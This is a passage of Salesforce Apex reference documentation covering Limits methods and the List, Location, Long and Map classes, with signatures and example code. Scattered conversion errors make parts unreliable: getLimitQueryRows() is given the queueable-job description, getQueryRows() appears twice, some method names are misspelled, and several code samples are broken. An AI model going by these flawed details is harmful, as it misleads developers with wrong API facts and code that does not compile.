**getLimitFindSimilarCalls()**
Deprecated. Returns the same value as `getLimitSoslQueries`. The number of `findSimilar` methods is no longer a separate limit, but is tracked as the number of SOSL queries issued.
Signature

public static Integer getLimitFindSimilarCalls()

Return Value
Type: Integer

**getFutureCalls()**
Returns the number of methods with the `future` annotation that have been executed (not necessarily completed).

Signature

public static Integer getFutureCalls()

Return Value
Type: Integer

**getLimitFutureCalls()**
Returns the total number of methods with the `future` annotation that can be executed (not necessarily completed).

Signature

public static Integer getLimitFutureCalls()

Return Value
Type: Integer

**getHeapSize()**
Returns the approximate amount of memory (in bytes) that has been used for the heap.

Signature

public static Integer getHeapSize()

Return Value
Type: Integer

**getLimitHeapSize()**
Returns the total amount of memory (in bytes) that can be used for the heap.

Signature

public static Integer getLimitHeapSize()
getMobilePushApexCalls()
Returns the number of Apex calls that have been used by mobile push notifications during the current metering interval.

Signature
public static Integer getMobilePushApexCalls()

Return Value
type: Integer

getLimitMobilePushApexCalls()
Returns the total number of Apex calls that are allowed per transaction for mobile push notifications.

Signature
public static Integer getLimitMobilePushApexCalls()

Return Value
type: Integer

getPublishImmediateDML()
Returns the number of EventBus.publish calls that have been made for platform events configured to publish immediately.

Signature
public static Integer getPublishImmediateDML()

Return Value
type: Integer

getLimitPublishImmediateDML()
Returns the total number of EventBus.publish statements that can be called for platform events configured to publish immediately.

Signature
public static Integer getLimitPublishImmediateDML()

Return Value
type: Integer
**getQueries()**
Returns the number of SOQL queries that have been issued.

Signature
```java
public static Integer getQueries()
```

Return Value
Type: `Integer`

**getLimitQueries()**
Returns the total number of SOQL queries that can be issued.

Signature
```java
public static Integer getLimitQueries()
```

Return Value
Type: `Integer`

**getQueryLocatorRows()**
Returns the number of records that have been returned by the `Database.getQueryLocator` method.

Signature
```java
public static Integer getQueryLocatorRows()
```

Return Value
Type: `Integer`

**getLimitQueryLocatorRows()**
Returns the total number of records that can be returned by the `Database.getQueryLocator` method.

Signature
```java
public static Integer getLimitQueryLocatorRows()
```

Return Value
Type: `Integer`

**getQueryRows()**
Returns the number of records that have been returned by issuing SOQL queries.
**getQueryRows()**

Returns the total number of records that can be returned by issuing SOQL queries.

**Signature**

```java
public static Integer getQueryRows()
```

**Return Value**

Type: Integer

**getLimitQueryRows()**

Returns the maximum number of queueable jobs that can be added to the queue per transaction. A queueable job corresponds to a class that implements the Queueable interface.

**Signature**

```java
public static Integer getLimitQueryRows()
```

**Return Value**

Type: Integer

**getQueueableJobs()**

Returns the number of queueable jobs that have been added to the queue per transaction. A queueable job corresponds to a class that implements the Queueable interface.

**Signature**

```java
public static Integer getQueueableJobs()
```

**Return Value**

Type: Integer

**getLimitQueueableJobs()**

Returns the maximum number of queueable jobs that can be added to the queue per transaction. A queueable job corresponds to a class that implements the Queueable interface.

**Signature**

```java
public static Integer getLimitQueueableJobs()
```

**Return Value**

Type: Integer

**getRunAs()**

Deprecated. Returns the same value as getDMLStatements.
getRunAs()

Signature

\[
\text{public static Integer getRunAs()}
\]

Return Value

Type: Integer

Usage

The number of RunAs methods is no longer a separate limit, but is tracked as the number of DML statements issued.

getLimitRunAs()

Deprecated. Returns the same value as getLimitDMLStatements.

Signature

\[
\text{public static Integer getLimitRunAs()}
\]

Return Value

Type: Integer

Usage

The number of RunAs methods is no longer a separate limit, but is tracked as the number of DML statements issued.

gSavepointRollbacks()

Deprecated. Returns the same value as getDMLStatements.

Signature

\[
\text{public static Integer getSavepointRollbacks()}
\]

Return Value

Type: Integer

Usage

The number of Rollback methods is no longer a separate limit, but is tracked as the number of DML statements issued.

getLimitSavepointRollbacks()

Deprecated. Returns the same value as getLimitDMLStatements.

Signature

\[
\text{public static Integer getLimitSavepointRollbacks()}
\]
Return Value
Type: Integer

Usage
The number of Rollback methods is no longer a separate limit, but is tracked as the number of DML statements issued.

getSavepoints()
Deprecated. Returns the same value as getDMLStatements.

Signature
public static Integer getSavepoints()

Return Value
Type: Integer

Usage
The number of setSavepoint methods is no longer a separate limit, but is tracked as the number of DML statements issued.

getLimitSavepoints()
Deprecated. Returns the same value as getLimitDMLStatements.

Signature
public static Integer getLimitSavepoints()

Return Value
Type: Integer

Usage
The number of setSavepoint methods is no longer a separate limit, but is tracked as the number of DML statements issued.

getSoslQueries()
Returns the number of SOSL queries that have been issued.

Signature
public static Integer getSoslQueries()

Return Value
Type: Integer
**getLimitSoslQueries()**

Returns the total number of SOSL queries that can be issued.

**Signature**

```java
public static Integer getLimitSoslQueries()
```

**Return Value**

Type: Integer

**List Class**

Contains methods for the List collection type.

**Namespace**

System

**Usage**

The list methods are all instance methods, that is, they operate on a particular instance of a list. For example, the following removes all elements from `myList`:

```java
myList.clear();
```

Even though the `clear` method does not include any parameters, the list that calls it is its implicit parameter.

**Note:**

- When using a custom type for the list elements, provide an `equals` method in your class. Apex uses this method to determine equality and uniqueness for your objects. For more information on providing an `equals` method, see Using Custom Types in Map Keys and Sets.
- If the list contains String elements, the elements are case-sensitive. Two list elements that differ only by case are considered distinct.

For more information on lists, see Lists on page 30.

**IN THIS SECTION:**

- List Constructors
- List Methods

**List Constructors**

The following are constructors for `List`.

**IN THIS SECTION:**

- `List<T>()`
  
  Creates a new instance of the `List` class. A list can hold elements of any data type T.
List<T>(listToCopy)
Creates a new instance of the List class by copying the elements from the specified list. T is the data type of the elements in both lists and can be any data type.

List<T>(setToCopy)
Creates a new instance of the List class by copying the elements from the specified set. T is the data type of the elements in the set and list and can be any data type.

List<T>()
Creates a new instance of the List class. A list can hold elements of any data type T.

Signature
public List<T>()

Example
```java
// Create a list
List<Integer> ls1 = new List<Integer>();
// Add two integers to the list
ls1.add(1);
ls1.add(2);
```

List<T>(listToCopy)
Creates a new instance of the List class by copying the elements from the specified list. T is the data type of the elements in both lists and can be any data type.

Signature
public List<T>(List<T> listToCopy)

Parameters
listToCopy
  Type: List<T>

  The list containing the elements to initialize this list from. T is the data type of the list elements.

Example
```java
List<Integer> ls1 = new List<Integer>();
ls1.add(1);
ls1.add(2);
// Create a list based on an existing one
List<Integer> ls2 = new List<Integer>(ls1);
// ls2 elements are copied from ls1
System.debug(ls2);// DEBUG|(1, 2)
**List<T>(setToCopy)**

Creates a new instance of the `List` class by copying the elements from the specified set. `T` is the data type of the elements in the set and list and can be any data type.

**Signature**

```java
public List<T>(Set<T> setToCopy)
```

**Parameters**

`setToCopy`  
Type: `Set<T>`  
The set containing the elements to initialize this list with. `T` is the data type of the set elements.

**Example**

```java
Set<Integer> s1 = new Set<Integer>();
s1.add(1);
s1.add(2);
// Create a list based on a set
List<Integer> ls = new List<Integer>(s1);
// ls elements are copied from s1
System.debug(ls);// DEBUG|(1, 2)
```

**List Methods**

The following are methods for `List`. All are instance methods.

**IN THIS SECTION:**

- `add(listElement)`  
  Adds an element to the end of the list.
- `add(index, listElement)`  
  Inserts an element into the list at the specified index position.
- `addAll(fromList)`  
  Adds all of the elements in the specified list to the list that calls the method. Both lists must be of the same type.
- `addAll(fromSet)`  
  Add all of the elements in specified set to the list that calls the method. The set and the list must be of the same type.
- `clear()`  
  Removes all elements from a list, consequently setting the list's length to zero.
- `clone()`  
  Makes a duplicate copy of a list.
- `contains(listElement)`  
  Returns `true` if the list contains the specified element.
- `deepClone(preserveId, preserveReadOnlyTimestamps, preserveAutonumber)`  
  Makes a duplicate copy of a list of sObject records, including the sObject records themselves.
equals(list2)
Compares this list with the specified list and returns true if both lists are equal; otherwise, returns false.

get(index)
Returns the list element stored at the specified index.

g getSObjectType()
Returns the token of the sObject type that makes up a list of sObjects.

hashCode()
Returns the hashcode corresponding to this list and its contents.

indexOf(listElement)
Returns the index of the first occurrence of the specified element in this list. If this list does not contain the element, returns -1.

isEmpty()
Returns true if the list has zero elements.

iterator()
Returns an instance of an iterator for this list.

remove(index)
Removes the list element stored at the specified index, returning the element that was removed.

set(index, listElement)
Sets the specified value for the element at the given index.

size()
Returns the number of elements in the list.

sort()
Sorts the items in the list in ascending order.

toString()
Returns the string representation of the list.

add(listElement)
Adds an element to the end of the list.

Signature

public Void add(Object listElement)

Parameters

listElement
Type: Object

Return Value
Type: Void
Example
```
List<Integer> myList = new List<Integer>();
myList.add(47);
Integer myNumber = myList.get(0);
system.assertEquals(47, myNumber);
```

**add(index, listElement)**

Inserts an element into the list at the specified index position.

**Signature**
```
public Void add(Integer index, Object listElement)
```

**Parameters**
- **index**
  Type: Integer
- **listElement**
  Type: Object

**Return Value**
Type: Void

**Example**
In the following example, a list with six elements is created, and integers are added to the first and second index positions.
```
List<Integer> myList = new Integer[6];
myList.add(0, 47);
myList.add(1, 52);
system.assertEquals(52, myList.get(1));
```

**addAll(fromList)**

Adds all of the elements in the specified list to the list that calls the method. Both lists must be of the same type.

**Signature**
```
public Void addAll(List fromList)
```

**Parameters**
- **fromList**
  Type: List

**Return Value**
Type: Void
**addAll(fromSet)**
Add all of the elements in specified set to the list that calls the method. The set and the list must be of the same type.

Signature
```
public Void addAll(Set fromSet)
```

Parameters
```
fromSet
  Type: Set
```

Return Value
Type: Void

**clear()**
Removes all elements from a list, consequently setting the list’s length to zero.

Signature
```
public Void clear()
```

Return Value
Type: Void

**clone()**
Makes a duplicate copy of a list.

Signature
```
public List<Object> clone()
```

Return Value
Type: List<Object>

Usage
The cloned list is of the same type as the current list.
Note that if this is a list of sObject records, the duplicate list will only be a shallow copy of the list. That is, the duplicate will have references to each object, but the sObject records themselves will not be duplicated. For example:
To also copy the sObject records, you must use the deepClone method.
Example

```java
Account a = new Account(Name='Acme', BillingCity='New York');
Account b = new Account();
Account[] q1 = new Account[]{a, b};

Account[] q2 = q1.clone();
q1[0].BillingCity = 'San Francisco';

System.assertEquals('San Francisco', q1[0].BillingCity);
System.assertEquals('San Francisco', q2[0].BillingCity);
```

`contains(listElement)`

Returns `true` if the list contains the specified element.

**Signature**

```java
public Boolean contains(Object listElement)
```

**Parameters**

- `listElement`
  - Type: Object

**Return Value**

- Type: Boolean

Example

```java
List<String> myStrings = new List<String>{'a', 'b'};
Boolean result = myStrings.contains('z');
System.assertEquals(false, result);
```

deepClone(preserveId, preserveReadOnlyTimestamps, preserveAutoNumber)

Makes a duplicate copy of a list of sObject records, including the sObject records themselves.

**Signature**

```java
public List<Object> deepClone(Boolean preserveId, Boolean preserveReadOnlyTimestamps, Boolean preserveAutoNumber)
```
Parameters

**preserveId**  
Type: Boolean  
The optional `preserveId` argument determines whether the IDs of the original objects are preserved or cleared in the duplicates. If set to `true`, the IDs are copied to the cloned objects. The default is `false`, that is, the IDs are cleared.

**preserveReadonlyTimestamps**  
Type: Boolean  
The optional `preserveReadonlyTimestamps` argument determines whether the read-only timestamp and user ID fields are preserved or cleared in the duplicates. If set to `true`, the read-only fields `CreatedBy`, `CreatedDate`, `LastModifiedById`, and `LastModifiedDate` are copied to the cloned objects. The default is `false`, that is, the values are cleared.

**preserveAutonumber**  
Type: Boolean  
The optional `preserveAutonumber` argument determines whether the autonumber fields of the original objects are preserved or cleared in the duplicates. If set to `true`, auto number fields are copied to the cloned objects. The default is `false`, that is, auto number fields are cleared.

Return Value
Type: List<Object>

Usage
The returned list is of the same type as the current list.

**Note:**
- `deepClone` only works with lists of sObjects, not with lists of primitives.
- For Apex saved using Salesforce API version 22.0 or earlier, the default value for the `preserve_id` argument is `true`, that is, the IDs are preserved.

To make a shallow copy of a list without duplicating the sObject records it contains, use the `clone` method.

Example
This example performs a deep clone for a list with two accounts.

```java
Account a = new Account(Name='Acme', BillingCity='New York');
Account b = new Account(Name='Salesforce');
Account[] q1 = new Account[] {a,b};
Account[] q2 = q1.deepClone();
q1[0].BillingCity = 'San Francisco';
System.assertEquals(
    'San Francisco',
    q1[0].BillingCity);
```
This example is based on the previous example and shows how to clone a list with preserved read-only timestamp and user ID fields.

```apex
List<Account> accts = [SELECT CreatedById, CreatedDate, LastModifiedById, LastModifiedDate, BillingCity
FROM Account
WHERE Name='Acme' OR Name='Salesforce'];

// Clone list while preserving timestamp and user ID fields.
Account[] q3 = accts.deepClone(false,true,false);

// Verify timestamp fields are preserved for the first list element.
System.assertEquals(accts[0].CreatedById, q3[0].CreatedById);
System.assertEquals(accts[0].CreatedDate, q3[0].CreatedDate);
System.assertEquals(accts[0].LastModifiedById, q3[0].LastModifiedById);
System.assertEquals(accts[0].LastModifiedDate, q3[0].LastModifiedDate);
```

**equals(list2)**

Compares this list with the specified list and returns **true** if both lists are equal; otherwise, returns **false**.

**Signature**

```apex
public Boolean equals(List list2)
```

**Parameters**

- **list2**
  - Type: **List**
  - The list to compare this list with.

**Return Value**

- Type: **Boolean**

**Usage**

Two lists are equal if their elements are equal and are in the same order. The `==` operator is used to compare the elements of the lists.
The `==` operator is equivalent to calling the `equals` method, so you can call `list1.equals(list2);` instead of `list1 == list2;`.

**get(index)**

Returns the list element stored at the specified index.

**Signature**

`public Object get(Integer index)`

**Parameters**

- `index`
  Type: `Integer`

**Return Value**

Type: `Object`

**Usage**

To reference an element of a one-dimensional list of primitives or sObjects, you can also follow the name of the list with the element’s index position in square brackets as shown in the example.

**Example**

```java
List<Integer> myList = new List<Integer>();
myList.add(47);
Integer myNumber = myList.get(0);
system.assertEquals(47, myNumber);

List<String> colors = new String[3];
colors[0] = 'Red';
colors[1] = 'Blue';
colors[2] = 'Green';
```

**getSObjectType()**

Returns the token of the sObject type that makes up a list of sObjects.

**Signature**

`public Schema.SObjectType getSObjectType()`

**Return Value**

Type: `Schema.SObjectType`
Usage

Use this method with describe information to determine if a list contains sObjects of a particular type.
Note that this method can only be used with lists that are composed of sObjects.
For more information, see Understanding Apex Describe Information on page 179.

Example

```java
// Create a generic sObject variable.
SObject sObj = Database.query('SELECT Id FROM Account LIMIT 1');

// Verify if that sObject variable is an Account token.
System.assertEquals(
    Account.sObjectType,
    sObj.getSObjectType());

// Create a list of generic sObjects.
List<SObject> q = new Account[{}];

// Verify if the list of sObjects contains Account tokens.
System.assertEquals(
    Account.sObjectType,
    q.getSObjectType());
```

**hashCode()**

Returns the hashcode corresponding to this list and its contents.

**Signature**

```
public Integer hashCode()
```

**Return Value**

Type: Integer

**indexOf(listElement)**

Returns the index of the first occurrence of the specified element in this list. If this list does not contain the element, returns -1.

**Signature**

```
public Integer indexOf(Object listElement)
```

**Parameters**

```
lstElement
    Type: Object
```
Return Value
Type: Integer

Example
```
List<String> myStrings = new List<String>{'a', 'b', 'a'};
Integer result = myStrings.indexOf('a');
System.assertEquals(0, result);
```

**isEmpty()**
Returns true if the list has zero elements.

Signature
```
public Boolean isEmpty()
```

Return Value
Type: Boolean

**iterator()**
Returns an instance of an iterator for this list.

Signature
```
public Iterator iterator()
```

Return Value
Type: Iterator

Usage
From the returned iterator, you can use the iterable methods `hasNext` and `next` to iterate through the list.

⚠️ **Note:** You don’t have to implement the iterable interface to use the iterable methods with a list.

See Custom Iterators.

Example
```
public class CustomIterator
    implements Iterator<Account>{

    private List<Account> accs;
    private Integer currentIndex;

    public CustomIterator(List<Account> accs){
        this.accs = accs;
    }

    ...}
```
this.currentIndex = 0;
}

public boolean hasNext(){
    return currentIndex < accs.size() - 1;
}

public Account next(){
    if(hasNext()) {
        currentIndex++;
        return accs[currentIndex];
    } else {
        throw new NoSuchElementException();
    }
}

remove(index)
Removes the list element stored at the specified index, returning the element that was removed.

Signature
public Object remove(Integer index)

Parameters
index
  Type: Integer

Return Value
Type: Object

Example
List<String> colors = new String[3];
colors[0] = 'Red';
colors[1] = 'Blue';
colors[2] = 'Green';
String s1 = colors.remove(2);
system.assertEquals('Green', s1);

set(index, listElement)
Sets the specified value for the element at the given index.

Signature
public Void set(Integer index, Object listElement)
Parameters

`index`
Type: `Integer`
The index of the list element to set.

`listElement`
Type: `Object`
The value of the list element to set.

Return Value
Type: `Void`

Usage
To set an element of a one-dimensional list of primitives or sObjects, you can also follow the name of the list with the element’s index position in square brackets.

Example

```java
List<Integer> myList = new Integer[6];
myList.set(0, 47);
myList.set(1, 52);
system.assertEquals(52, myList.get(1));

List<String> colors = new String[3];
colors[0] = 'Red';
colors[1] = 'Blue';
colors[2] = 'Green';
```

`siz()`
Returns the number of elements in the list.

Signature

```java
public Integer size()
```

Return Value
Type: `Integer`

Example

```java
List<Integer> myList = new List<Integer>();
Integer size = myList.size();
system.assertEquals(0, size);

List<Integer> myList2 = new Integer[6];
Integer size2 = myList2.size();
system.assertEquals(6, size2);
```
**sort()**
Sorts the items in the list in ascending order.

Signature

```java
public Void sort()
```

Return Value
Type: Void

Usage
Using this method, you can sort primitive types, SelectOption elements, and sObjects (standard objects and custom objects). For more information on the sort order used for sObjects, see Sorting Lists of sObjects. You can also sort custom types (your Apex classes) if they implement the `Comparable` interface.

When you use `sort()` methods on `List<Id>`s that contain both 15-character and 18-character IDs, IDs for the same record sort together in API version 35.0 and later.

Example
In the following example, the list has three elements. When the list is sorted, the first element is null because it has no value assigned. The second element and third element have values of 5 and 10.

```java
LList<Integer> q1 = new Integer[3];

// Assign values to the first two elements.
q1[0] = 10;
q1[1] = 5;
q1.sort();

// Verify sorted list. Elements are sorted in nulls-first order: null, 5, and 10
system.assertEquals(null, q1.get(0));
system.assertEquals(5, q1.get(1));
system.assertEquals(10, q1.get(2));
```

**toString()**
Returns the string representation of the list.
Signature

```java
public String toString()
```

Return Value
Type: String

Usage
When used in cyclic references, the output is truncated to prevent infinite recursion. When used with large collections, the output is truncated to avoid exceeding total heap size and maximum CPU time.

- Up to 10 items per collection are included in the output, followed by an ellipsis (…).
- If the same object is included multiple times in a collection, it’s shown in the output only once; subsequent references are shown as (already output).

Location Class
Contains methods for accessing the component fields of geolocation compound fields.

Namespace
system

Usage
Each of these methods is also equivalent to a read-only property. For each getter method you can access the property using dot notation. For example, `myLocation.getLatitude()` is equivalent to `myLocation.latitude`.

You can’t use dot notation to access compound fields’ subfields directly on the parent field. Instead, assign the parent field to a variable of type `Location`, and then access its components.

```java
Location loc = myAccount.MyLocation__c;
Double lat = loc.latitude;
Double lon = loc.longitude;
```

**Important:** “Location” in Salesforce can also refer to the Location standard object. When referencing the Location object in your Apex code, always use `Schema.Location` instead of `Location` to prevent confusion with the standard Location compound field. If referencing both the location object and the Location field in the same snippet, you can differentiate between the two by using `System.Location` for the field and `Schema.Location` for the object.

Example

```java
// Select and access the Location field. MyLocation__c is the name of a geolocation field on Account.
Account[] records = [SELECT id, MyLocation__c FROM Account LIMIT 10];
for(Account acct : records) {
    Location loc = acct.MyLocation__c;
    Double lat = loc.latitude;
    Double lon = loc.longitude;
}
```
// Instantiate new Location objects and compute the distance between them in different ways.
Location loc1 = Location.newInstance(28.635308, 77.22496);
Location loc2 = Location.newInstance(37.7749295, -122.4194155);
Double dist = Location.getDistance(loc1, loc2, 'mi');
Double dist2 = loc1.getDistance(loc2, 'mi');

IN THIS SECTION:
    Location Methods

Location Methods
The following are methods for Location.

IN THIS SECTION:
    getDistance(toLocation, unit)
    Calculates the distance between this location and the specified location, using an approximation of the haversine formula and the specified unit.
    getDistance(firstLocation, secondLocation, unit)
    Calculates the distance between the two specified locations, using an approximation of the haversine formula and the specified unit.
    getLatitude()
    Returns the latitude field of this location.
    getLongitude()
    Returns the longitude field of this location.
    newInstance(latitude, longitude)
    Creates an instance of the Location class, with the specified latitude and longitude.

getDistance(toLocation, unit)
Calculates the distance between this location and the specified location, using an approximation of the haversine formula and the specified unit.

Signature
public Double getDistance(Location toLocation, String unit)

Parameters
    toLocation
        Type: Location
        The Location to which you want to calculate the distance from the current Location.
    unit
        Type: String
        The distance unit you want to use: mi or km.
getDistance(firstLocation, secondLocation, unit)
Calculates the distance between the two specified locations, using an approximation of the haversine formula and the specified unit.

Signature
public static Double getDistance(Location firstLocation, Location secondLocation, String unit)

Parameters
firstLocation
Type: Location
The first of two locations used to calculate distance.
secondLocation
Type: Location
The second of two locations used to calculate distance.
unit
Type: String
The distance unit you want to use: mi or km.

getLatitude()
Returns the latitude field of this location.

Signature
public Double getLatitude()

Return Value
Type: Double

getLongitude()
Returns the longitude field of this location.

Signature
public Double getLongitude()
Return Value
Type: Double

`newInstance(latitude, longitude)`
Creates an instance of the `Location` class, with the specified latitude and longitude.

Signature
`public static Location newInstance(Decimal latitude, Decimal longitude)`

Parameters
- `latitude`
  Type: `Decimal`
- `longitude`
  Type: `Decimal`

Return Value
Type: `Location`

**Long Class**
Contains methods for the Long primitive data type.

**Namespace**
`System`

**Usage**
For more information on Long, see *Primitive Data Types* on page 26.

**Long Methods**
The following are methods for `Long`.

IN THIS SECTION:
- `format()`:
  Returns the String format for this Long using the locale of the context user.
- `intValue()`:
  Returns the Integer value for this Long.
- `valueOf(stringToLong)`:
  Returns a Long that contains the value of the specified String. As in Java, the string is interpreted as representing a signed decimal Long.
**format()**
Returns the String format for this Long using the locale of the context user.

**Signature**
```
public String format()
```

**Return Value**
Type: String

**Example**
```
Long myLong = 4271990;
system.assertEquals('4,271,990', myLong.format());
```

**intValue()**
Returns the Integer value for this Long.

**Signature**
```
public Integer intValue()
```

**Return Value**
Type: Integer

**Example**
```
Long myLong = 7191991;
Integer value = myLong.intValue();
system.assertEquals(7191991, myLong.intValue());
```

**valueOf(stringToLong)**
Returns a Long that contains the value of the specified String. As in Java, the string is interpreted as representing a signed decimal Long.

**Signature**
```
public static Long valueOf(String stringToLong)
```

**Parameters**
```
stringToLong
    Type: String
```

**Return Value**
Type: Long
Example

```java
Long l1 = Long.valueOf('123456789');
```

Map Class

Contains methods for the Map collection type.

Namespace

System

Usage

The Map methods are all instance methods, that is, they operate on a particular instance of a map. The following are the instance methods for maps.

Note:

- Map keys and values can be of any data type—primitive types, collections, sObjects, user-defined types, and built-in Apex types.
- Uniqueness of map keys of user-defined types is determined by the `equals` and `hashCode` methods, which you provide in your classes. Uniqueness of keys of all other non-primitive types, such as sObject keys, is determined by comparing the objects’ field values.
- Map keys of type String are case-sensitive. Two keys that differ only by the case are considered unique and have corresponding distinct Map entries. Subsequently, the Map methods, including `put`, `get`, `containsKey`, and `remove` treat these keys as distinct.

For more information on maps, see Maps on page 33.

IN THIS SECTION:

Map Constructors

Map Methods

Map Constructors

The following are constructors for `Map`.

IN THIS SECTION:

`Map<T1,T2>()`

Creates a new instance of the `Map` class. `T1` is the data type of the keys and `T2` is the data type of the values.

`Map<T1,T2>(mapToCopy)`

Creates a new instance of the `Map` class and initializes it by copying the entries from the specified map. `T1` is the data type of the keys and `T2` is the data type of the values.

`Map<ID,sObject>(recordList)`

Creates a new instance of the `Map` class and populates it with the passed-in list of sObject records. The keys are populated with the sObject IDs and the values are the sObjects.
Map<T1,T2>()

Creates a new instance of the Map class. T1 is the data type of the keys and T2 is the data type of the values.

Signature

```java
public Map<T1,T2>()
```

Example

```java
Map<Integer, String> m1 = new Map<Integer, String>();
m1.put(1, 'First item');
m1.put(2, 'Second item');
```

Map<T1,T2>(mapToCopy)

Creates a new instance of the Map class and initializes it by copying the entries from the specified map. T1 is the data type of the keys and T2 is the data type of the values.

Signature

```java
public Map<T1,T2>(Map<T1,T2> mapToCopy)
```

Parameters

mapToCopy

Type: Map<T1, T2>

The map to initialize this map with. T1 is the data type of the keys and T2 is the data type of the values. All map keys and values are copied to this map.

Example

```java
Map<Integer, String> m1 = new Map<Integer, String>();
m1.put(1, 'First item');
m1.put(2, 'Second item');
Map<Integer, String> m2 = new Map<Integer, String>(m1);
// The map elements of m2 are copied from m1
System.debug(m2);
```

Map<ID,sObject>(recordList)

Creates a new instance of the Map class and populates it with the passed-in list of sObject records. The keys are populated with the sObject IDs and the values are the sObjects.

Signature

```java
public Map<ID,sObject>(List<sObject> recordList)
```
Parameters

**recordList**
- **Type:** List<sObject>
  - The list of sObjects to populate the map with.

Example

```java
List<Account> ls = [select Id, Name from Account];
Map<Id, Account> m = new Map<Id, Account>(ls);
```

### Map Methods

The following are methods for Map. All are instance methods.

**IN THIS SECTION:**

- `clear()`: Removes all of the key-value mappings from the map.
- `clone()`: Makes a duplicate copy of the map.
- `containsKey(key)`: Returns `true` if the map contains a mapping for the specified key.
- `deepClone()`: Makes a duplicate copy of a map, including sObject records if this is a map with sObject record values.
- `equals(map2)`: Compares this map with the specified map and returns `true` if both maps are equal; otherwise, returns `false`.
- `get(key)`: Returns the value to which the specified key is mapped, or `null` if the map contains no value for this key.
- `getSObjectType()`: Returns the token of the sObject type that makes up the map values.
- `hashCode()`: Returns the hashcode corresponding to this map.
- `isEmpty()`: Returns true if the map has zero key-value pairs.
- `keySet()`: Returns a set that contains all of the keys in the map.
- `put(key, value)`: Associates the specified value with the specified key in the map.
- `putAll(fromMap)`: Copies all of the mappings from the specified map to the original map.
- `putAll(sobjectArray)`: Adds the list of sObject records to a map declared as Map<ID, sObject> or Map<String, sObject>. 
**remove(key)**
Removes the mapping for the specified key from the map, if present, and returns the corresponding value.

**size()**
Returns the number of key-value pairs in the map.

**toString()**
Returns the string representation of the map.

**values()**
Returns a list that contains all the values in the map.

---

**clear()**
Removes all of the key-value mappings from the map.

**Signature**

```java
public Void clear()
```

**Return Value**

Type: Void

---

**clone()**
Makes a duplicate copy of the map.

**Signature**

```java
public Map<Object, Object> clone()
```

**Return Value**

Type: Map (of same type)

**Usage**

If this is a map with sObject record values, the duplicate map will only be a shallow copy of the map. That is, the duplicate will have references to each sObject record, but the records themselves are not duplicated. For example:

To also copy the sObject records, you must use the `deepClone` method.

**Example**

```java
Account a = new Account(
    Name='Acme',
    BillingCity='New York');

Map<Integer, Account> map1 = new Map<Integer, Account>{};
map1.put(1, a);

Map<Integer, Account> map2 = map1.clone();
```
map1.get(1).BillingCity = 'San Francisco';

System.assertEquals('San Francisco', map1.get(1).BillingCity);

System.assertEquals('San Francisco', map2.get(1).BillingCity);

containsKey(key)
Returns true if the map contains a mapping for the specified key.

Signature
public Boolean containsKey(Object key)

Parameters
key
Type: Object

Return Value
Type: Boolean

Usage
If the key is a string, the key value is case-sensitive.

Example
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');

Boolean contains = colorCodes.containsKey('Blue');
System.assertEquals(true, contains);

deepClone()
Makes a duplicate copy of a map, including sObject records if this is a map with sObject record values.

Signature
public Map<Object, Object> deepClone()
Return Value
Type: Map (of the same type)

Usage
To make a shallow copy of a map without duplicating the sObject records it contains, use the clone() method.

Example

```java
Account a = new Account(
    Name='Acme',
    BillingCity='New York');

Map<Integer, Account> map1 = new Map<Integer, Account> {};
map1.put(1, a);

Map<Integer, Account> map2 = map1.deepClone();

// Update the first entry of map1
map1.get(1).BillingCity = 'San Francisco';
// Verify that the BillingCity is updated in map1 but not in map2
System.assertEquals('San Francisco', map1.get(1).BillingCity);
System.assertEquals('New York', map2.get(1).BillingCity);
```

**equals(map2)**

Compares this map with the specified map and returns true if both maps are equal; otherwise, returns false.

Signature

```java
public Boolean equals(Map map2)
```

Parameters

map2
Type: Map

The map2 argument is the map to compare this map with.

Return Value
Type: Boolean

Usage
Two maps are equal if their key/value pairs are identical, regardless of the order of those pairs. The == operator is used to compare the map keys and values.

The == operator is equivalent to calling the equals method, so you can call map1.equals(map2); instead of map1 == map2;.
**get(key)**

Returns the value to which the specified key is mapped, or `null` if the map contains no value for this key.

**Signature**

```java
public Object get(Object key)
```

**Parameters**

- `key`
  - Type: Object

**Return Value**

Type: Object

**Usage**

If the key is a string, the key value is case-sensitive.

**Example**

```java
Map<String, String> colorCodes = new Map<String, String>();

colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');

String code = colorCodes.get('Blue');
System.assertEquals('0000A0', code);

// The following is not a color in the map
String code2 = colorCodes.get('Magenta');
System.assertEquals(null, code2);
```

**getSObjectType()**

Returns the token of the sObject type that makes up the map values.

**Signature**

```java
public Schema.SObjectType getSObjectType()
```

**Return Value**

Type: `Schema.SObjectType`

**Usage**

Use this method with describe information, to determine if a map contains sObjects of a particular type. Note that this method can only be used with maps that have sObject values.
For more information, see Understanding Apex Describe Information on page 179.

Example

```java
// Create a generic sObject variable.
SObject sObj = Database.query('SELECT Id FROM Account LIMIT 1');

// Verify if that sObject variable is an Account token.
System.assertEquals(Account.sObjectType, sObj.getSObjectType());

// Create a map of generic sObjects
Map<Integer, Account> m = new Map<Integer, Account>();

// Verify if the map contains Account tokens.
System.assertEquals(Account.sObjectType, m.getSObjectType());
```

**hashCode()**

Returns the hashcode corresponding to this map.

**Signature**

```java
public Integer hashCode()
```

**Return Value**

Type: **Integer**

**isEmpty()**

Returns true if the map has zero key-value pairs.

**Signature**

```java
public Boolean isEmpty()
```

**Return Value**

Type: **Boolean**

Example

```java
Map<String, String> colorCodes = new Map<String, String>();
Boolean empty = colorCodes.isEmpty();
System.assertEquals(true, empty);
```
**keySet()**
Returns a set that contains all of the keys in the map.

**Signature**
```
public Set<Object> keySet()
```

**Return Value**
Type: Set (of key type)

**Example**
```java
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');
Set<String> colorSet = new Set<String>();
colorSet = colorCodes.keySet();
```

**put(key, value)**
Associates the specified value with the specified key in the map.

**Signature**
```
public Object put(Object key, Object value)
```

**Parameters**
- **key**
  - Type: Object
- **value**
  - Type: Object

**Return Value**
Type: Object

**Usage**
If the map previously contained a mapping for this key, the old value is returned by the method and then replaced.
If the key is a string, the key value is case-sensitive.

**Example**
```java
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
```
colorCodes.put('Red', '#FF0000');
// Red is now #FF0000

**putAll(fromMap)**

Copies all of the mappings from the specified map to the original map.

**Signature**

```java
public Void putAll(Map fromMap)
```

**Parameters**

- `fromMap`
  - Type: `Map`

**Return Value**

Type: `Void`

**Usage**

The new mappings from `fromMap` replace any mappings that the original map had.

**Example**

```java
Map<String, String> map1 = new Map<String, String>();
